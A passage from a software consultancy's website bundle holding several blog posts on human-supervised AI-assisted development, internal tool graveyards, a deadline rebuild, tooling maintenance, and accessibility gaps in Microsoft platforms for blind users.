(assistive AI) uses these tools to handle mechanical tasks while humans keep ownership of decisions that require judgment.\n\nWe've built this approach into how we work, and we teach other teams to do the same. If your team is struggling to find the right balance, or you're not sure how to evaluate partners who claim AI makes them faster, we can help.\n\n**[Book a call](/contact) and let's figure out what makes sense for your situation.**\n\n</div>\n\nAs business leaders are trying to figure out how AI should factor into software projects, they find the noise makes it nearly impossible to think clearly. Talk to tech folks about AI and odds are you'll get one of two reactions: breathless enthusiasm (AI will write all our code, 10x productivity is just a prompt away) or principled rejection (AI produces garbage, real developers don't need it, the whole thing is a hype bubble).\n\nBoth reactions are understandable, but both miss the mark.\n\nWe get it.\n\nAfter spending the past year integrating AI tools into our development workflows and teaching our clients how to do the same, we've identified two failure modes we see most often. Understanding them is the first step toward something more productive.\n\n## Failure Mode 1:Abdication\n\nThe hype around AI makes it scarily easy to abdicate responsibility by prioritizing speed over understanding.\n\nAbdication looks like this: you generate prodigious amounts of code, code that technically works for the happy path, call it \"productivity\", and move on. You feel great and ship features faster than ever before. You let the AI make architectural decisions because it's fast and an \"expert\".\n\nYou might not even be intentionally making those choices, but then the other shoe drops when reality takes your system down ânon-happyâ paths.\n\nThe truth is that you've likely created a codebase nobody understands, carrying technical debt that compounds invisibly, with edge c
1ases that explode in production because nobody thought them through. Not the AI. Not the developer.\n\nLuckily, we haven't inherited one of these codebases yet, but we're bracing for it. The signs are already visible in code samples and open source projects. Signs such as patterns varying file to file because each was generated in isolation. Or the error handling covers just the obvious cases while it's missing the subtle ones. The code feels assembled rather than designed.\n\nThat's not to say the developer using these tools is necessarily lazy or careless. More often, they're responding to pressure. Pressure to ship faster! Do more with less! Keep up with competitors (who claim AI has made them 10x more productive)!\n\nThat shortcut becomes a trap. The code ships, but it doesn't last. Shortcuts have a cost. Eventually, someone has to untangle it, usually at much greater expense than if it had been built thoughtfully.\n\nAbdication is corrosive to the craft. It produces software that functions, but doesn't serve the humans who depend on it.\n\n## Failure Mode 2: Avoidance\n\nThe opposite mistake is just as limiting.\n\nAvoidance looks like this: refusing to engage with AI tools on principle. Those who find the hype is so off-putting, and the examples of AI generated garbage so abundant, that they dismiss the whole toolset. They lean on close-minded, old aphorisms: \"Real developers don't need these crutches.\" \"The craft matters.\" \"We'll do it the way we've always done it.\"\n\nHonestly, we get this view, too. The instinct is understandable. The hype really _is_ overblown. Charlatans are everywhere. And the craft really _does_ matter. But avoidance means missing genuine amplification that a well crafted tool can provide a skilled practitioner.\n\nIt isn't the fictional 10x productivity that marketing departments promise. It is, however, a real reduction of mechanical friction. Used well, and harnessed, these tools free developers to focus on work that actually requires human judgment.\n\nEvery developer has tasks that are necessary but not particularly interesting. Looking up syntax for the third time today. Transcribing a well understood solution into code. Updating documentation that's clear in your head but tedious to write down. That work comes with the territory, but it isn't where the real value is created. Offloading the mundane should be something we all aspire to do, letting us use our skills to add value instead of executing rote tasks.\n\nArchitecture matters. Problem solving matters. Deciding what to build and why is where experience earns its keep.\n\nWhen developers avoid AI tools entirely, they still spend that energy. They aren't worse developers for it, but they are forgoing leverage that could free attention for more meaningful work.\n\n## Leveraging Assistive AI\n\nBetween abdication and avoidance is an approach we've come to call assistive AI.\n\nAssistive AI uses tools to remove mechanical friction while keeping judgment firmly in human hands. Developers still do the thinking and make the decisions while the tools handle transcription, coordination, and routine synthesis.\n\nHere's what that has looked like in practice for us.\n\nWhen one of our developers needs to keep project documentation synchronized with code changes, they don't spend hours crawling through git logs trying to remember what changed. They use a specialized Claude Code sub agent we built called Diderot, named after the philosopher who edited the original Encyclop\xe9die. Diderot analyzes what's changed and updates the documentation to match. With this assist from AI, what used to take two to three hours of archaeology now takes about fifteen minutes of review.\n\nDiderot doesn't decide what's worth documenting or how information should be structured for users. Those are human calls that require experience and taste. He handles synchronization, so developers can focus on decisions that actually benefit from their expertise.\n\nWe use a similar approach for design systems. Another sub agent, Ray, named after designer Ray Eames, helps organize scattered CSS into systematic design tokens. Ray doesn't create brand identities or make strategic design decisions. Instead, she turns chaos into order so that when a de
1signer joins the project, they're working with a clear system rather than hundreds of magic numbers.\n\nAcross these examples, the division of labor stays consistent. The AI handles the mechanical work. Humans retain ownership of decisions that require judgment. We produce better results working together.\n\n## A Suggestion on What to Look For\n\nWhen you're evaluating development partners or trying to understand how AI should factor into your software investments, here's what we suggest.\n\nBe cautious with teams that promise AI driven speed without explaining what remains a human responsibility. If the pitch is \"we use AI to build faster,\" ask which decisions are automated and which aren't. Ask how quality is ensured when code is generated rather than written. Ask what happens when something breaks.\n\nBe equally cautious with teams that dismiss AI entirely. The tools have real value when used thoughtfully. A team that refuses to engage with them may be working harder than necessary for the same outcomes, and you may be paying for that extra effort.\n\nLook for teams that can clearly articulate how they think about AI. Where does it fit? What stays human, and why? How do they ensure that any amplification benefits the client rather than just accelerating delivery?\n\n## Finding the Middle Path\n\nAt Infinity Interactive, we've spent more than 25 years building software for clients who need technical problems solved without managing technical details themselves. AI tools haven't changed that mission. They've made us more effective at it by freeing us to apply judgment where it matters most.\n\nWe've also learned that this approach is teachable. Developers who've drifted into abdication can learn discipline. Those who've been repelled by the hype can learn to see past it. Both benefit from working alongside people who've already navigated the middle path and built practices that work.\n\nThe tools can help us move faster. They can't replace judgment. Judgment is still what our clients are paying for, and we still take responsibility for what we ship.\n\n---\n\n<div class=\"info-box\">\n\nWant to talk through how AI assisted development could work for your team? Whether you're looking for a development partner or want to help your existing team find that middle path, we're happy to share what we've learned. [Let's talk â](/contact)\n\n</div>\n",icon:nh.A,color:"sky",ogFeaturedImage:"/content/images/blogs/between-hype-and-rejection-a-practical-philosophy-for-ai-assisted-development/woodworker2.png"};var nc=t(1375);let nu={slug:"the-tools-we-almost-built",title:"The Tools We Almost Built",excerpt:"Somewhere in our repositories lives a project called Horiizon. It was going to be great. Then it wasn't. We have a small graveyard of internal tools that solved real problems, looked promising, and quietly died anyway.",authors:["Eric Wagoner"],publishDate:new Date("2026-01-21"),category:"Musings",tags:["Culture","Technology","Passions"],readTime:"3 min read",content:"Somewhere in our repositories lives a project called Horiizon. It was going to be great. A Vue application, clean interface, designed to show what everyone in the company was working on at any given moment. Capacity planning, cross-team awareness, a living map of all the tech stacks currently in play. We built it, styled it, demoed it internally. And then... nothing. It sits there still, technically functional, gathering dust.\n\nHoriizon isn't unique. We have a small graveyard of internal tools that solved real problems, looked promising, and quietly died anyway.\n\nSome were one-offs. A script to automate something tedious, written fast because we needed it Tuesday. It worked. We moved on. Six months later, a similar problem surfaced and nobody remembered the script existed. Or they remembered, but without someone actively championing it, the tool just quietly faded from use.\n\nSome were learning projects. We wanted to try a new framework, so we built something useful with it. The learning happened. The polish didn't. It worked well enough to prove the concept, but not well enough that anyone actually wanted to use it daily.\n\nAnd some, like Horiizon, were genuinely good ideas that got stranded. We built a prototype, gathered feedback, had plans for the next iteration. Then a client deadline hit. Then another. By the time we came up for air, the dependencies were outdated and the momentum was gone. Starting over felt easier than catching up, so we did neither.\n\nWe think about this more than we used to. Not because we've solved
1it, but because we've started noticing the pattern earlier. When someone proposes a new internal tool now, we try to ask uncomfortable questions upfront: Are we building this to last, or just to learn? Do we have someone who'll own it six months from now? Is this solving a problem we'll still have next year?\n\nWe don't always get it right. Horiizon is proof of that. But maybe the practice isn't building perfect tools. Maybe it's just getting better at recognizing which ones deserve to survive.\n",icon:nc.A,color:"indigo",ogFeaturedImage:"/content/images/blogs/the-tools-we-almost-built/horiizon.png"},np={slug:"why-we-build-the-runway-before-we-need-it",title:"Why We Build the Runway Before We Need It",excerpt:"Three days from deadline, we discovered we'd been building from outdated brand guidelines. We didn't blow the deadline or ask for an extension. We just shipped. Here's why the crunch didn't become a crisis.",authors:["Eric Wagoner"],publishDate:new Date("2026-02-04"),category:"Development",tags:["Agile","Communication"],readTime:"3 min read",content:"We were three days from the end of a five-week sprint when, by chance, the client's VP of Marketing joined our status call.\n\nThe project was a community engagement portal for a university client, a public-facing database with search, filtering, map integration, and all the responsive polish you'd expect. We were showing off the nearly-complete build, feeling good about where things stood.\n\nShe saw it immediately. The navigation, hero sections, and footer looked great, but were visually wrong. Not broken, just from a previous version of the brand.\n\nWe pulled up the design documentation we'd been given at kickoff and read her the version number. She recognized it instantly: outdated guidelines, superseded months earlier. Within the hour, she'd sent over the correct brand standards.\n\nHere's the thing: we weren't given a portal-specific design, just told to match the live site. And the live site didn't match itself. Some pages reflected the current brand guidelines, others didn't. To our eyes, nothing unusual there. The inconsistency that tripped us up existed in our reference material.\n\nSo: three days left, correct guidelines finally in hand, and we needed to rebuild the navigation, hero, footer, and several landing page patterns from scratch.\n\n## What didn't happen\n\nWe didn't blow the deadline. We didn't ship something half-finished with apologies and a follow-up phase. We just built it, delivered on time, everything passing QA.\n\nSo what kept this from becoming a crisis? That's the part worth looking at.\n\n## Runway\n\nThis is what gave us runway: from the first sprint, we'd baked performance budgets (caps on load times and page weight that fail the build automatically, just like a broken test would) and accessibility testing into our CI/CD pipeline. Every commit ran through automated checks. When we started the rebuild, we weren't guessing whether changes broke something. We knew within minutes. That confidence let us move fast without the usual anxiety of rushing.\n\nWe'd also invested early in extracting and centralizing design tokens: colors, typography, spacing scales. When the correct brand guidelines arrived, updating those tokens first meant every subsequent component inherited the right foundation. The work rippled outward correctly because the source of truth was in one place.\n\nOur component architecture helped too. Shared patterns propagated cleanly. We weren't hunting through templates making the same fix in six places.\n\nWe didn't build with this approach because we expected the client to put us in a tough spot. It was just how we'd structured the project. But when the unexpected arrived, that structure turned out to be load-bearing.\n\n## Ray\n\nWe've [written before about Ray](/resources/blog/meet-ray-the-ai-assistant-that-turns-our-css-into-reusable-design-systems), one of several laser-focused AI assistants we use for specific development tasks. This project was a good example of her value under pressure.\n\nWhile I focused on design decisions, quality review, and the judgment calls that needed a human eye, Ray handled implementation velocity. When time compresses, that division of labor matters more. I could stay in the decision layer while she worked through implementation, rather than context-switching between figuring out the right approach and writing the code.\n\nWhen you're rebuilding four major components in three days, having a fast, tireless collaborator who doesn't lose focus when priorities shift makes the difference between \"hard\" and \"impossible.\"\n\n## Partnership\n\nThe client VP of Marketing could have been frustrated. Instead, she solved the problem. Recognized the version number, sent the correct guidelines, and gave us what we needed to move forward. Everyone focused on the fix, not the fault.\n\nThat kind of client relationship doesn't happen by accident. It comes from months of clear communication and delivering what you promise. It comes from treating surprises as shared problems.\n\n## What we took away\n\n**Build the runway before you need it.** The CI/CD pipeline, the token system, the component architecture: none of it was crisis infrastru
1cture. It was just good practice. But good practice compounds, and sometimes it compounds into the difference between \"three hard days\" and \"three extra weeks.\"\n\n**Brand documentation drifts.** Even the client may not realize their own guidelines are out of sync with their production environment. When you can, get eyes from their marketing or brand team early, not just the project stakeholders who initiated the engagement.\n\n**Response matters more than blame.** When something goes sideways late in a project, how you handle it matters more than whose fault it is. We shipped on time because everyone involved chose to move forward together.\n\n<div class=\"info-box\">\n<span class=\"info-box-title\">How we work</span>\n\nThis is how we approach every client engagement. The infrastructure investments, the AI-assisted workflows, the communication practices that turn surprises into solvable problems. That's not something we built for this one project. It's how we work.\n\n**If you're looking for a development partner who builds that runway from day one, [we'd love to talk](/contact).**\n\n</div>\n",icon:J.A,color:"sky",ogFeaturedImage:"/content/images/blogs/why-we-build-the-runway-before-we-need-it/og-image.jpg"},nm={slug:"fasting-season",title:"Fasting Season",excerpt:"Software teams have seasons too. Between Mardi Gras and Lent, thoughts on tool drift, maintenance work that gets deferred, and spending an afternoon asking whether your systems still fit the way you actually work.",authors:["Eric Wagoner"],publishDate:new Date("2026-02-17"),category:"Musings",tags:["Agile","Automation","Communication","Culture","Documentation","Operations"],readTime:"4 min read",content:"Mardi Gras happened this week, which means Lent starts tomorrow. I'm not particularly observant, but the rhythm of it has been on my mind lately. You feast, you stop, you sit with what you have for a while. Then things grow again.\n\nSoftware teams have seasons too, even if we don't name them. There's always a push toward building: new features, new client engagements, new tools to try. That energy is good. It's the reason the work stays interesting. But it means the quieter maintenance work gets perpetually deferred in favor of whatever's next. We tell ourselves we'll get to it, and sometimes we even mean it.\n\nI've been looking at our Atlassian setup lately. Not because anything's wrong, but because I realized I couldn't remember the last time anyone looked at it with fresh eyes. Jira projects from past engagements still sitting in the sidebar. Confluence spaces with pages that haven't been revisited since they were written. Ticket workflows where the status transitions were designed around how we thought work would move through the team, which may or may not be how it actually moves now. Slack and GitHub integrations that were configured for a moment in time.\n\nWhen we spin up a new Jira project for a client engagement, we have automations that generate a standard set of initial tickets: setup tasks, access provisioning, the documentation scaffolding for that engagement. It's useful because nothing gets forgotten in the first week. But I honestly can't tell you whether those defaults still reflect what the first week looks like in practice. We set that up, it worked, and we moved on. That's not a complaint. That's just what happens when a team is busy doing the work the tools are supposed to support.\n\nOur Confluence organization is similar. There's a structure that made sense when it was designed, and we've been building on top of it since. I'm curious whether someone arriving fresh would navigate it the way we assume they would. Maybe they would. I don't actually know, because we haven't asked.\n\nTicket workflows might be the most interesting thing to revisit. The statuses and transitions in a Jira board encode assumptions about how work flows through a team. When those assumptions are right, the board is invisible. You drag a card from one column to the next without thinking about it. When they drift, you start to notice the board as a separate thing from the work. I'm not sure where ours fall on that spectrum right now, and I think the not-knowing is worth addressing.\n\nI don't think any of this is unusual. Every team accumulates this kind of drift. The tools start out reflecting your process, and then your process evolves while the tools stay put. Nothing catches fire. You just gradually spend more energy navigating your own systems than you probably need to.\n\nSo here's what I'm thinking: block an afternoon. Maybe a Friday. Not to overhaul everything, because that's its own kind of feast and tends to end the same way. Just an afternoon to look at what we have and ask whether it still fits. Walk through the Jira sidebar, open some Confluence spaces, check where the integrations are pointing. See what we find.\n\nIt's not glamorous work. Nobody's writing a case study about a team that archived some old Jira projects. But there's something to the Lent metaphor that goes beyond tidying up. The point of fasting isn't deprivation. It's supposed to make you pay attention to what you actually need versus what you've just been carrying forward out of habit. A couple of hours spent sitting with your own tooling honestly can do something similar.\n\nI've already put time on the calendar. Spring's coming, and I'd rather head into it having asked the questions than spend another quarter assuming the answers.\n",icon:Q.A,color:"emerald",ogFeaturedImage:"/content/images/blogs/fasting-season/featured-image.png"},ng={slug:"read-only",title:"Read Only. Read Only. Read Only.",excerpt:"How working with a blind client on a Power Automate project revealed the invisible accessibility gaps baked into the platforms we build on every day.",authors:["Sharni Zaugg"],publishDate:new Date("2026-06-03"),category:"Development",tags:["Accessibility"],readTime:"6 min read",content:"We recently had a client with detailed accessibility requirements written into the contract; something specific to them, not our usual engagement. They have blind and deaf employees who would be using what we built, and they wanted that taken seriously. I respected that going in, but I also figured it would mean a review session, maybe two, a few tweaks, and we'd be good. A couple hours tops.\n\n
1It took 18 hours of work.\n\nThe project was to build a purchasing approval workflow in Microsoft's Power Automate. Their in-house accessibility specialist, who is blind herself and would be one of the actual users of this new workflow, led the review. My plan was to have her log into my account in the browser and do a run-through so we could see where things stood.\n\nThat didn't work. According to the accessibility specialist, Microsoft's browser apps aren't great for screen readers, and she couldn't navigate them the way she needed to. Not a big deal. I took a step back, set up a separate set of permissions so she could test from her own account in her desktop apps, and had her go from there.\n\nWe hadn't even looked at the workflow yet and the platform was already getting in the way.\n\nOnce we were up and running, we'd meet over Zoom (not a random platform choice â we had run calls originally in Microsoft Teams and Google Meet, but she considers Zoom to be the most accessible video conferencing option available). In our test sessions, she'd share her screen and move through the workflow as a real user would. I'd watch and listen along with her, hearing her screen reader narrate the page out loud. This allowed me to hear how she listened, oriented herself, and decided where to go next. This is when it stopped being an abstract problem and became a real one.\n\nAt some point during those calls it hit me that the internet I know â the one I navigate by glancing, skimming, clicking â is almost a completely different place for someone experiencing it through a screen reader. Same web, totally different world.\n\n## The Problem\n\nHere's where the title comes from. I'd built a page in SharePoint where users could go to see if their requests had been approved, if they were still pending, and general information about their request. It was nothing fancy, but it did the job. The page had to be shared in read-only mode to ensure no one could accidentally adjust anything in the approval process. This is a relatively standard requirement, but when SharePoint shares a page in read-only mode, it appends \"(read only)\" to every. single. field. This is fine if you're able to read it, but if you're listening to it, you're hearing that phrase on every line, over and over, for the entire page. Imagine watching a film where after every line of dialogue, a voice reads out \"(spoken aloud).\" You'd lose the plot pretty quickly. That's how users felt when they navigated this page with a screen reader. And for users with braille readers it's not just tedious â it's physically taking up space on the device. Every redundant character crowds out the actually useful content.\n\nI spent a long time looking for a solution: a way to hide the tags, an alternate way to share progress with requestors, anything. Ultimately, I came to the conclusion that I couldn't fix it. That's just how SharePoint works.\n\nThat kept happening. We'd find something, I'd dig in, and the answer would be: the issue is the platform, not the implementation. Power Automate's native approvals app in Teams wasn't recognized by screen readers at all. JAWS (one of the most widely used screen readers) had compatibility issues reading the approval emails in Outlook. SharePoint would generate multiple H1 headings on a single page, which breaks how screen reader users navigate. Headings aren't a visual choice for someone who can't see â they're critical to how you move around a page, the same way a sighted person skims bold text to find their place. Two H1s on the same page creates a false landmark. It was disorienting in a way I wouldn't have considered before this.\n\nI don't say any of this to pile on Microsoft specifically. This is what happens across the software industry when accessibility gets treated as someone else's problem, or a box to check after the fact. It just happens that Microsoft makes the tools a lot of us build on top of, so their gaps become our gaps.\n\n## What We Did About It\n\nWhere I had control, I made changes. Unnecessary labels removed. Accurate alt text added â not filed-in-for-compliance alt text, actually descriptive alt text. The heading structure was cleaned up where I could reach it. For this project's SharePoint tracking page, I rerouted entirely: instead of asking users to fight through the noise, the system now sends an email update at every stage of the approval. Four or five emails per request. A little much for some users, probably. For the users who needed it, it meant they never had to touch the inaccessible page.\n\nWhere I couldn't fix things, we worked around them. We built out training materials together â documentation specific to their setup, their screen readers, the quirks they'd encounter. We wrote an honest version of that documentation: here's what we couldn't change, and here's how to get through it anyway. Not a satisfying thing to write, but a necessary one.\n\nI used a screen reader myself at various points during this process, to better understand the experience. The thing that surprised me most wasn't any specific bug or broken interaction â it was the noise. The sheer volume of labels, status indicators, repeated phrases, and structural clutter that a sighted user filters out completely without realizing it. When you're listening to a page instead of looking at it, all of that is just in your way. Every extra word
1is something you have to sit through before you get to the thing you actually came for.\n\nMost software is built by people who can see and hear, tested by people who can see and hear. That's not an accusation â it's just an honest description of how our industry has operated for a long time, and it means that the gaps tend to stay invisible until someone who actually lives with them shows up and walks you through it. I was lucky that this client had someone like that, and that they cared enough to build real time into the contract for this kind of work.\n\nNot every project will have that. Most won't. But that doesn't mean there's nothing to be done.\n\nIf you're a developer, accessibility standards exist and are worth building into your work from the start rather than auditing for at the end. If you're in a position to advocate for tools and processes at your company, it's worth asking whether the software your team uses every day actually works for everyone on that team. And if you're a user who runs into something broken â a label that repeats itself forty times, an approval popup a screen reader can't find â reporting it to the company that built it matters. The more people flag the \"(read only)\" problem to Microsoft, the harder it becomes to leave it on the backlog.\n\nNone of this requires a client with specific contractual requirements to get started. It just requires caring enough and deciding that it's worth paying attention to.\n\n## Want to Talk More?\n\nWe've been building software for clients for over 25 years. If you're curious about how to make your software more usable and accessible for your team or your next project, [get in touch](/contact) â we'd be happy to walk through it with you.\n\nInterested in learning more about accessibility in software? Here are a few resources to get you started:\n\n- [Fundamentals of accessibility](https://www.w3.org/WAI/fundamentals/) â W3C Web Accessibility Initiative\n- [WCAG Quick Reference](https://www.w3.org/WAI/WCAG21/quickref/?versions=2.0#principle1) â WCAG 2.0 guidelines\n- [Mobile accessibility considerations](https://www.w3.org/TR/2015/WD-mobile-accessibility-mapping-20150226/) â W3C mobile mapping\n- [The Accessibility Project](https://www.a11yproject.com/) â community-driven resource\n- [Pa11y](https://pa11y.org/) â automated accessibility testing\n- [WAVE](https://wave.webaim.org/) â web accessibility evaluation tool\n- [Manual testing guide](https://accessibility.huit.harvard.edu/manual-testing-accessibility) â Harvard accessibility testing\n",icon:C.A,color:"blue"},nf=[ng,{slug:"plan-assign-build-retro-a-replicable-workflow-for-ai-augmented-development",title:"Plan â Assign â Build â Retro: A Replicable Workflow for AI-Augmented Development",excerpt:"21 tickets, 53 story points, 21 merged PRs â while making biang biang noodles. Here's the four-phase methodology that made it repeatable: structured planning, detailed tickets, supervised builds, and automated review.",authors:["Eric Wagoner"],publishDate:new Date("2026-02-23"),category:"Development",tags:["Agile","AI"],readTime:"9 min read",content:"I spent 2 hours and 10 minutes actively supervising the construction of a complete web application. Twenty-one tickets, 53 story points, 21 pull requests merged, roughly 8,500 lines of code. During one epic I was in the kitchen making biang biang noodles from scratch. During another I was helping my daughter with history homework. My total hands-on-keyboard time for the build phase was about what most developers spend in a single standup cycle.\n\n\n_Biang biang noodles with chili oil and broccolini in a green ceramic bowl. The Epic 2 build session: 13 story points, 3 PRs, 10 minutes of my attention._\n\nBut the numbers aren't what made it repeatable. The process is.\n\nOver the past year, I've been developing a methodology for AI-augmented web development across multiple client projects at Infinity Interactive. What started as \"let me try having Claude write some code\" evolved into a structured four-phase workflow that consistently compresses multi-month timelines into weeks of part-time work. The methodology got tighter with each project. By the most recent one, I'd stopped thinking of AI as a tool I used and started thinking of it as a team member I managed.\n\nTo validate that the methodology was teachable, not just something that worked in my hands, I designed a training exercise for my team: a small community event board built from scratch using the full workflow. I ran through it myself first, documenting everything obsessively so my teammates could see exactly how the decisions got made. This post is what I learned.\n\n## How the Loop Works\n\nThe workflow has four phases that repeat in a sprint cycle: Plan, Assign, Build, Retro.\n\n\n_The core loop: Plan â Assign â Build â Retro, with role labels showing who does what at each phase._\n\nIn **Plan**, I'm having an architecture conversation with Claude Desktop. I describe what we're building, what tech stack, what the constraints are. Claude asks questions I haven't thought of yet, then structures my thinking into documentation, epics, and detailed tickets. This phase typically takes 60 to 120 minutes and produces everything the build phase needs.\n\nIn **Assign**, I sequence the tickets, set priorities, identify dependencies. This is 15 minutes of manual work. Infrastructure before features, data layer before UI.\n\nIn **Build**, Claude Code (the CLI tool) does the implementation, ticket by ticket. I supervise. That means: kick off a ticket, let it work, check the diff when it's ready, approve the commit, approve the push, review the PR. Automated review agents catch what I miss. I merge when satisfied.\n\nIn **Retro**, Claude Code writes the initial retrospective document from the sprint artifacts and conversation history. Then Claude Desktop reviews and expands it with additional context, cross-referencing the planning docs and build logs. I review the analysis, and Claude Desktop adjusts tickets and epics for upcoming sprints accordingly.\n\nThe role division is the important part. I'm the architect who makes decisions. During planning, Claude is the stenographer who structures my thinking. During building, Claude Code is the developer who writes code. During retro, Claude is the analyst. At every stage, I approve every commit, every push, every merge. No exceptions.\n\n## What I Built\n\nThe training project was a community event board for a fictional neighborhood association. Public-facing static site where residents can browse, search, and filter local events. Familiar domain, exercises the full workflow, mirrors real client patterns.\n\n
1I chose SvelteKit with Svelte 5, static adapter, MDsveX for markdown-based event content. Eighteen sample events with search-as-you-type, category filters, responsive design, accessibility compliance. The whole thing [deploys to GitHub Pages](https://iinteractive.github.io/community-board-eric/).\n\n\n_The Community Events page with the Social category filter active, showing 3 of 18 events. Search bar, category pills, and event cards with the Nightmare on Elm Street theme._\n\nThe creative direction was a Nightmare on Elm Street theme, because the fictional client was the \"Elm Street Community Association\" and I couldn't resist. Dark palette, blood red accents, Freddy's sweater green as the secondary color, event titles like \"Nightmare 5K Fun Run\" and \"Elm Street S\xe9ance & Social Hour.\" One of the hero section components has a barely-visible striped Easter egg at 6% opacity.\n\nSilly? Sure, but it's a quirk that worked. The strong creative direction forced the AI to make consistent aesthetic choices instead of defaulting to generic templates. Every event description, every color pairing, every piece of copy had a guiding sensibility to follow. Creative constraints helped here the same way they usually do â they gave the AI something specific to follow instead of reaching for safe defaults.\n\n## What 105 Minutes of Planning Produced\n\nHere's where most people's mental model of \"AI coding\" breaks down. They imagine typing a prompt and getting a project back. The reality is that the build phase was easy _because_ I spent 105 minutes planning before a single line of code existed.\n\nThe planning conversation was a real conversation, not a prompt. I described the architecture. Claude asked whether search should be client-side or server-side. I said client-side, it's a static site with 20 events, no need for a server round-trip. Claude asked about the content pipeline. I said MDsveX, one markdown file per event, frontmatter for metadata. Claude asked about the data model. I described the fields. It structured all of this into an epic plan with dependency chains and story point estimates.\n\nA note on story points, since they're controversial even in conventional development: I'm not using them to estimate time. In this workflow, time-to-implement is almost meaningless as a planning metric. I use them as a shorthand for how complex the _ask_ is â how much architectural thinking the ticket requires, how carefully I'll need to review the output, how many moving parts are involved. A 2-point ticket means I'll glance at the diff and approve. A 5-point ticket means I'm reading every line and probably testing in the browser. They're a gauge for my review effort, not the AI's build effort.\n\nThat conversation produced three reference documents: a Technical Architecture spec (stack decisions, data flow, component hierarchy), a Design Brief (color theory, typography rationale, mood references, component-level direction), and an Event Content Guide (character names, tone, category definitions). Each document was detailed enough that a specialized AI agent could work from it independently, without needing me to re-explain context.\n\nThen we wrote tickets. Twenty-one of them across five epics, each with detailed acceptance criteria. A good ticket for this workflow reads like a spec: exact field names, expected sort behavior, specific responsive breakpoints, accessibility requirements. This matters because the ticket becomes the prompt. When I hand a ticket to Claude Code, it should contain everything needed to complete the work without me re-explaining the architecture.\n\n\n_Jira ticket CBERIC-22 showing the SearchBar component spec: acceptance criteria with file paths, styling requirements, keyboard behavior, and a Technical Context section with code references and cross-ticket dependencies. Story Points: 2._\n\nHere's a concrete example. The acceptance criteria for the EventCard component included: full-card link
1wrapped in `<a>`, `<article>` landmark with `aria-labelledby`, metadata rendered as `<dl>` with visually-hidden labels, category badge with token-based colors, three-line description clamping, hover lift with `prefers-reduced-motion` guard, and 44px minimum touch targets. Claude Code implemented all of it on the first pass. The review layer found one addition (a global reduced-motion reset) and zero bugs. That's what a good ticket produces.\n\nThe vaguer tickets produced worse results. The README/documentation ticket had loose acceptance criteria and became the most review-intensive PR of the project: five commits, five review rounds, ten issues. The documentation deserved the same rigor as the features. I didn't give it that, and it showed.\n\n## What Supervision Actually Looks Like\n\nDuring Epics 2 and 3, I was barely at my desk. I kicked off a ticket, went to the kitchen to knead dough for biang biang noodles, and came back ten minutes later. Claude Code had created the event loading utility, written 16 integration tests, set up ESLint and Prettier, configured a CI workflow, and was waiting for me to approve a commit. I read the diff on my phone, approved, went back to my dough. Came back again when it pinged for the push approval. Approved. The PR went up, automated reviews ran, I read the review comments while the noodles rested, told Claude Code to fix the two things the reviewers flagged, approved those commits, merged. Total active time for 13 story points: about ten minutes. The remaining epics were similar â homework help, vegetable prep, and occasionally walking over to the computer to approve a commit. Maybe fifteen minutes of active attention for the entire landing page.\n\nI want to be careful about how this reads. The work itself was significant, but supervision stayed lightweight because I'd front-loaded the decisions. If I'd skipped the architecture conversation and the detailed tickets, the build phase would have been full of confusion, rework, and re-explanation. The noodle-making ratio only works when you've spent the time planning.\n\nThe approval gates are also non-negotiable. I approve every step. This isn't paranoia. Claude Code is good, but it makes mistakes that are easy to catch in a diff and hard to catch after they've shipped. The scaffold command overwrote my README with generic boilerplate. A favicon was generated at 1422x1422 pixels (259KB for a 16px icon). Event page titles were rendering URL slugs instead of human-readable names. Each of these was a quick catch at the approval stage and would have been a debugging session after the fact.\n\nThere was also an acceleration curve I didn't expect. Epic 1 (foundation) took about an hour of active work. By Epics 4 and 5 (event listing, detail pages, search, filters), the active time was 20 to 25 minutes combined. This wasn't just because later tickets were smaller. The foundation work compounded. Design tokens, global styles, tested utilities, established patterns. By mid-project, Claude Code was composing from existing conventions rather than inventing new ones, and I was reviewing familiar patterns rather than evaluating novel approaches.\n\n## Three Layers of Review\n\nThe review system was the part of the workflow I was most skeptical about, and it turned out to be the most valuable.\n\nEvery PR gets three reviewers: Cursor's Bugbot, a Claude GitHub Action, and me. Each catches different things.\n\n\n_Claude's automated PR review on the SearchBar component, showing three issues found with specific line numbers: redundant live region announcements, hardcoded IDs risking duplicates, and missing autocomplete attributes. Each issue has a \"Fix this\" link._\n\nBugbot writes a risk assessment summary at the top of each PR and flags structural concerns. It caught that CSS custom properties can't be used in `@media` queries (a spec limitation I'd forgotten about), flagged a machine-specific config file being committed, and identified sort-order inconsistencies between related utility functions. Good signal-to-noise ratio, maybe one false positive across the whole project.\n\nThe Claude GitHub Action does granular inline review. It caught a timezone bug that would have shipped to production: `new Date('2026-04-18')` parses as UTC midnight, which means US timezone users would see today's events listed as yesterday. The fix was three characters (`T00:00:00`), but I would not have caught it on my own. It also caught a `100vh` fallback gap for older browsers, focus ring inconsistencies, a z-index stacking issue where a gradient overlay was rendering on top of readable text, and a hard-coded color value that violated the project's design token convention.\n\nMy review handles judgment calls. When Bugbot flagged Vite scripts in `package.json` as \"bypassing the SvelteKit CLI,\" I knew that was a fal
1se positive because modern SvelteKit uses Vite directly. When Claude suggested adding a new `--color-white` token, I chose the existing off-white token instead. When a review noted an orphaned card in a 3-column grid with 5 items, I decided that was fine. The bots surface issues. Which ones actually matter is still my call.\n\nAcross 21 PRs, the automated reviewers caught roughly 40 to 50 issues I didn't catch myself. The timezone bug alone justified the entire review setup.\n\nBut I should be honest about the limitation. There's a recurring accessibility bug that appeared four times across PRs #13 through #16: duplicate `aria-live` regions, where Claude Code would add `role=\"status\"` to a new element without removing it from an existing one, causing screen readers to announce changes twice. The reviewers caught it every single time. But Claude Code kept reintroducing it because each PR started with fresh context. It couldn't carry the lesson forward.\n\nThe fix was adding a one-line rule to CLAUDE.md (the persistent project instructions file). After that, the bug never recurred. Which tells you something about the architecture of the system: cross-session learning doesn't happen automatically. You have to write it down. And you should write it down faster than I did, because three unnecessary review round-trips is a waste even when the reviewers are free.\n\n## A Different Job\n\nThis workflow changes what you do all day. I spent more time on architecture conversations, requirements writing, diff reading, and judgment calls. I spent almost no time typing code, debugging syntax errors, or writing boilerplate.\n\nThe skills that matter shift accordingly. Decisiveness matters a lot. In the planning conversation, Claude surfaces questions you haven't considered. \"Should the event cards link to detail pages or expand inline?\" \"Do past events sort reverse-chronologically or get hidden?\" \"What happens when a search returns zero results?\" You need to answer these quickly and clearly, because the answer becomes part of the ticket, which becomes the implementation. Waffling in planning produces vague tickets, which produce confused implementations, which produce heavy review cycles.\n\nClear requirements writing matters. The difference between \"make it responsive\" and \"test at 375px, 768px, 